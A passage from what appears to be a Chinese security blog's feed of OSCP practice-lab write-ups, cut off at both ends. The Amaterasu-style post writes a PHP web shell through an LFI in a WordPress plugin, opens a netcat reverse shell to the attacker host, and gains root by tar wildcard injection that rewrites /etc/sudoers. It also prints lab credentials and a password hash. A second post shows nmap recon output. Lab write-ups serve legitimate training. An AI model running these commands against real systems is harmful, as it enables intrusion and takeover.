 &lt;div class="alert-header"&gt;
 &lt;span class="alert-icon"&gt;💡&lt;/span&gt;
 &lt;span class="alert-title"&gt;数据库密码&lt;/span&gt;
 &lt;/div&gt;
 &lt;div class="alert-body"&gt;
 &lt;p&gt;karl
Wordpress1234&lt;/p&gt;
 &lt;/div&gt;
 &lt;/blockquote&gt;
&lt;h3 id="文件权限php一句话木马"&gt;文件权限php一句话木马
&lt;/h3&gt;&lt;p&gt;但是目前的redis账户还是不能直接登录，要找一个正经的用户。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251015185914401.png"&gt;
查找可以写的目录，然后把php一句话木马写上去。在各个⽬录尝试写⼊ &lt;code&gt;echo &amp;quot;&amp;lt;?php phpinfo() ?&amp;gt;&amp;quot; &amp;gt; test.php &lt;/code&gt;，/run/redis⽬录写⼊之后在使⽤LFI之后php会被解析，尝试写⼊⼀个⼀句话⽊⻢
&lt;code&gt;echo '&amp;lt;?php system($_GET[&amp;quot;cmd&amp;quot;]); ?&amp;gt;' &amp;gt; test.php&lt;/code&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;find / -type d -maxdepth &lt;span class="m"&gt;5&lt;/span&gt; -writable 2&amp;gt;/dev/null
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251015190835365.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# kali 新建一个监听终端&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;rlwrap -cAr nc -nlvp &lt;span class="m"&gt;443&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 访问LFI地址&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;http://192.168.147.166/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path&lt;span class="o"&gt;=&lt;/span&gt;/run/redis/test.php&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nv"&gt;cmd&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;busybox%20nc%20192.168.45.182%20443%20-e%20sh
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;busybox nc 192.168.45.182 &lt;span class="m"&gt;443&lt;/span&gt; -e sh
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 美化终端&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;python3 -c &lt;span class="s1"&gt;&amp;#39;import pty;pty.spawn(&amp;#34;/bin/bash&amp;#34;)&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251015191630448.png"&gt;
连上数据库得到WP的管理员密码，但是这个密码对我们之后的提权没有用了已经。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;admin | $P$Ba5uoSB5xsqZ5GFIbBnOkXA0ahSJnb0 
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;上传小豌豆查一下提权的点&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251015194246451.png"&gt;
查看/usr/local/bin/backup.sh文件的内容，发现可以用tar提权。详见[[OSCP官方靶场-Amaterasu WP#Tar提权详解]]-&lt;a class="link" href="https://blog.csdn.net/Bugatti100Peagle/article/details/149423864#t15" target="_blank" rel="noopener"
 &gt;CNSD&lt;/a&gt;
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251015194949106.png"&gt;&lt;/p&gt;
&lt;h3 id="tar提权"&gt;tar提权
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; /var/www/html
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&amp;#34;&lt;/span&gt; &amp;gt; &lt;span class="s1"&gt;&amp;#39;--checkpoint=1&amp;#39;&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&amp;#34;&lt;/span&gt; &amp;gt; &lt;span class="s1"&gt;&amp;#39;--checkpoint-action=exec=sh payload.sh&amp;#39;&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# kali&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;echo &amp;#39;alice ALL=(root) NOPASSWD: ALL&amp;#39; &amp;gt; /etc/sudoers&amp;#34;&lt;/span&gt; &amp;gt;payload.sh
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;chmod +x payload.sh
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;python3 -m http.server
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 靶机&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;wget 192.168.45.182:8080/payload.sh
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;sudo -l 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;sudo /bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251015192422940.png"&gt;
提权成功，拿到flag。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251015192453508.png"&gt;&lt;/p&gt;
&lt;h2 id="总结"&gt;总结
&lt;/h2&gt;&lt;h3 id="入侵路径示意图"&gt;入侵路径示意图
&lt;/h3&gt;&lt;pre class="mermaid" style="visibility:hidden"&gt;
flowchart TD
 %% 资产列表
 A[Kali攻击机 &lt;br&gt; 192.168.45.182]
 B[靶机 &lt;br&gt; 192.168.147.166]
 C[WP插件site-editor 文件读取漏洞]
 D[Redis-RCE漏洞]
 E[文件读取漏洞综合利用提升为Alice]
 F[Tar提权root]
 

 %% 路径关系
 A--&gt;|扫描|B
 B--&gt;C
 C--&gt;D
 D--&gt;E
 E--&gt;F

	%% 线型：---（实线）、-.-&gt;（虚线）、==&gt;（粗箭头）
	%% --&gt;|是|：带条件文本的连接
	%% 矩形节点[ ]，菱形决策节点{ }，圆弧方节点()
 %% 样式定义
 classDef attack fill:#ffcccc,stroke:#ff0000,stroke-width:2px;
 classDef public fill:#ffeecc,stroke:#ff9900,stroke-width:2px; 
 classDef internal fill:#ccffcc,stroke:#009900,stroke-width:2px; 
 %% 线型与颜色方案（亮色/暗色通用）
	linkStyle default stroke:#666666,stroke-width:2px,stroke-dasharray:0; 

 %% 应用样式
 class A attack;
 class B,C,D public;
 class E,F internal;&lt;/pre&gt;&lt;h3 id="入侵时间表"&gt;入侵时间表
&lt;/h3&gt;&lt;pre class="mermaid" style="visibility:hidden"&gt;gantt
 title 攻击时间表
 dateFormat YYYY-MM-DD HH:mm
 axisFormat %H:%M
 
 section 侦察阶段
 目标扫描 :a1, 2025-10-15 17:05, 2025-10-15 17:51
 漏洞识别 :a2, after a1, 15m
 
 section 攻击阶段
 初始访问 :b1, after a2, 2025-10-15 19:05
 权限提升 :crit,b2, after b1, 35m
 
 section 后渗透阶段
 数据窃取 :c1, after b2, 5m&lt;/pre&gt;&lt;hr&gt;
&lt;p&gt;🔔 &lt;strong&gt;想要获取更多网络安全与编程技术干货？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;关注 &lt;strong&gt;泷羽Sec-静安&lt;/strong&gt; 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻&lt;/p&gt;
&lt;p&gt;马上加入我们，共同成长！🌟&lt;/p&gt;
&lt;p&gt;👉 &lt;strong&gt;长按或扫描二维码关注公众号&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;直接回复文章中的关键词，获取更多技术资料与书单推荐！📚&lt;/p&gt;</description></item><item><title>OSCP官方靶场 Peppo WP</title><link>https://ruajingjing.top/post/oscp%E5%AE%98%E6%96%B9%E9%9D%B6%E5%9C%BA-peppo-wp/</link><pubDate>Wed, 15 Oct 2025 15:08:22 +0000</pubDate><guid>https://ruajingjing.top/post/oscp%E5%AE%98%E6%96%B9%E9%9D%B6%E5%9C%BA-peppo-wp/</guid><description>&lt;img src="https://ruajingjing.top/" alt="Featured image of post OSCP官方靶场 Peppo WP" /&gt;
 &lt;blockquote&gt;
 &lt;p&gt;关注&lt;strong&gt;泷羽Sec&lt;/strong&gt;和&lt;strong&gt;泷羽Sec-静安&lt;/strong&gt;公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;官网打开靶场
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251015151001890.png"&gt;&lt;/p&gt;
&lt;h2 id="信息收集"&gt;信息收集
&lt;/h2&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Kali攻击机地址&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;192.168.45.182
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 靶机地址&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;192.168.147.60
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="扫描端口和目录"&gt;扫描端口和目录
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 设置MTU&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;sudo ip link &lt;span class="nb"&gt;set&lt;/span&gt; dev tun0 mtu &lt;span class="m"&gt;1250&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;ip link show tun0
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 扫描端口&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;ports&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;sudo nmap -p- --min-rate&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;5000&lt;/span&gt; -Pn 192.168.147.60 &lt;span class="p"&gt;|&lt;/span&gt; grep &lt;span class="s1"&gt;&amp;#39;^[0-9]&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; cut -d &lt;span class="s1"&gt;&amp;#39;/&amp;#39;&lt;/span&gt; -f &lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; tr &lt;span class="s1"&gt;&amp;#39;\n&amp;#39;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;,&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; sed s/,$//&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$ports&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 扫描服务&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;sudo nmap -sT -sC -sV -O -Pn -p&lt;span class="nv"&gt;$ports&lt;/span&gt; 192.168.147.60
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;sudo nmap --script&lt;span class="o"&gt;=&lt;/span&gt;vuln -p&lt;span class="nv"&gt;$ports&lt;/span&gt; -Pn 192.168.147.60
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 扫描目录&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;sudo gobuster dir -u http://192.168.147.60:8080 --wordlist&lt;span class="o"&gt;=&lt;/span&gt;/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e -t &lt;span class="m"&gt;25&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt; sudo gobuster dir -u http://192.168.147.60:10000 --wordlist&lt;span class="o"&gt;=&lt;/span&gt;/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e -t &lt;span class="m"&gt;25&lt;/span&gt; --exclude-length &lt;span class="m"&gt;12&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;whatweb http://192.168.147.60:8080/
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;扫描结果如下：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-&lt;span class="o"&gt;[&lt;/span&gt;~&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;└─$ &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$ports&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;22,53,113,5432,8080
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-&lt;span class="o"&gt;[&lt;/span&gt;~&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;└─$ sudo nmap -sT -sC -sV -O -Pn -p&lt;span class="nv"&gt;$ports&lt;/span&gt; 192.168.147.60
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;Starting Nmap 7.95 &lt;span class="o"&gt;(&lt;/span&gt; https://nmap.org &lt;span class="o"&gt;)&lt;/span&gt; at 2025-10-15 03:13 EDT
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;Nmap scan report &lt;span class="k"&gt;for&lt;/span&gt; 192.168.147.60
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;Host is up &lt;span class="o"&gt;(&lt;/span&gt;0.12s latency&lt;span class="o"&gt;)&lt;/span&gt;.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 10&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 11&lt;/span&gt;&lt;span class="cl"&gt;PORT STATE SERVICE VERSION
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 12&lt;/span&gt;&lt;span class="cl"&gt;22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u7 &lt;span class="o"&gt;(&lt;/span&gt;protocol 2.0&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 13&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_auth-owners: root
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 14&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; ssh-hostkey:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 15&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="m"&gt;2048&lt;/span&gt; 75:4c:02:01:fa:1e:9f:cc:e4:7b:52:fe:ba:36:85:a9 &lt;span class="o"&gt;(&lt;/span&gt;RSA&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 16&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="m"&gt;256&lt;/span&gt; b7:6f:9c:2b:bf:fb:04:62:f4:18:c9:38:f4:3d:6b:2b &lt;span class="o"&gt;(&lt;/span&gt;ECDSA&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 17&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_ &lt;span class="m"&gt;256&lt;/span&gt; 98:7f:b6:40:ce:bb:b5:57:d5:d1:3c:65:72:74:87:c3 &lt;span class="o"&gt;(&lt;/span&gt;ED25519&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 18&lt;/span&gt;&lt;span class="cl"&gt;53/tcp closed domain
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 19&lt;/span&gt;&lt;span class="cl"&gt;113/tcp open ident FreeBSD identd
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 20&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_auth-owners: nobody
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 21&lt;/span&gt;&lt;span class="cl"&gt;5432/tcp open postgresql PostgreSQL DB 9.6.0 or later
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 22&lt;/span&gt;&lt;span class="cl"&gt;8080/tcp open http WEBrick httpd 1.4.2 &lt;span class="o"&gt;(&lt;/span&gt;Ruby 2.6.6 &lt;span class="o"&gt;(&lt;/span&gt;2020-03-31&lt;span class="o"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 23&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_http-server-header: WEBrick/1.4.2 &lt;span class="o"&gt;(&lt;/span&gt;Ruby/2.6.6/2020-03-31&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 24&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; http-robots.txt: &lt;span class="m"&gt;4&lt;/span&gt; disallowed entries
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 25&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_/issues/gantt /issues/calendar /activity /search
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 26&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_http-title: Redmine
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 27&lt;/span&gt;&lt;span class="cl"&gt;Aggressive OS guesses: Linux 3.10 - 4.11 &lt;span class="o"&gt;(&lt;/span&gt;96%&lt;span class="o"&gt;)&lt;/span&gt;, Linux 3.13 - 4.4 &lt;span class="o"&gt;(&lt;/span&gt;96%&lt;span class="o"&gt;)&lt;/span&gt;, Linux 3.2 - 4.14 &lt;span class="o"&gt;(&lt;/span&gt;94%&lt;span class="o"&gt;)&lt;/span&gt;, Linux 2.6.32 - 3.13 &lt;span class="o"&gt;(&lt;/span&gt;93%&lt;span class="o"&gt;)&lt;/span&gt;, Linux 3.8 - 3.16 &lt;span class="o"&gt;(&lt;/span&gt;92%&lt;span class="o"&gt;)&lt;/span&gt;, Linux 3.16 - 4.6 &lt;span class="o"&gt;(&lt;/span&gt;92%&lt;span class="o"&gt;)&lt;/span&gt;, Linux 3.13 or 4.2 &lt;span class="o"&gt;(&lt;/span&gt;90%&lt;span class="o"&gt;)&lt;/span&gt;, Linux 4.4 &lt;span class="o"&gt;(&lt;/span&gt;90%&lt;span class="o"&gt;)&lt;/span&gt;, Linux 2.6.32 - 3.10 &lt;span class="o"&gt;(&lt;/span&gt;90%&lt;span class="o"&gt;)&lt;/span&gt;, Linux 5.0 - 5.14 &lt;span class="o"&gt;(&lt;/span&gt;90%&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 28&lt;/span&gt;&lt;span class="cl"&gt;No exact OS matches &lt;span class="k"&gt;for&lt;/span&gt; host &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;test&lt;/span&gt; conditions non-ideal&lt;span class="o"&gt;)&lt;/span&gt;.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 29&lt;/span&gt;&lt;span class="cl"&gt;Service Info: OSs: Linux, FreeBSD&lt;span class="p"&gt;;&lt;/span&gt; CPE: cpe:/o:linux:linux_kernel, cpe:/o:freebsd:freebsd
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 30&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 31&lt;/span&gt;&lt;span class="cl"&gt;OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 32&lt;/span&gt;&lt;span class="cl"&gt;Nmap &lt;span class="k"&gt;done&lt;/span&gt;: &lt;span class="m"&gt;1&lt;/span&gt; IP address &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt; host up&lt;span class="o"&gt;)&lt;/span&gt; scanned in 32.27 seconds
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 33&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 34&lt;/span&gt;&lt;span class="cl"&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-&lt;span class="o"&gt;[&lt;/span&gt;~&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 35&lt;/span&gt;&lt;span class="cl"&gt;└─$ sudo nmap --script&lt;span class="o"&gt;=&lt;/span&gt;vuln -p&lt;span class="nv"&gt;$ports&lt;/span&gt; -Pn 192.168.147.60
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 36&lt;/span&gt;&lt;span class="cl"&gt;Starting Nmap 7.95 &lt;span class="o"&gt;(&lt;/span&gt; https://nmap.org &lt;span class="o"&gt;)&lt;/span&gt; at 2025-10-15 03:27 EDT
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 37&lt;/span&gt;&lt;span class="cl"&gt;Nmap scan report &lt;span class="k"&gt;for&lt;/span&gt; 192.168.147.60
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 38&lt;/span&gt;&lt;span class="cl"&gt;Host is up &lt;span class="o"&gt;(&lt;/span&gt;0.12s latency&lt;span class="o"&gt;)&lt;/span&gt;.
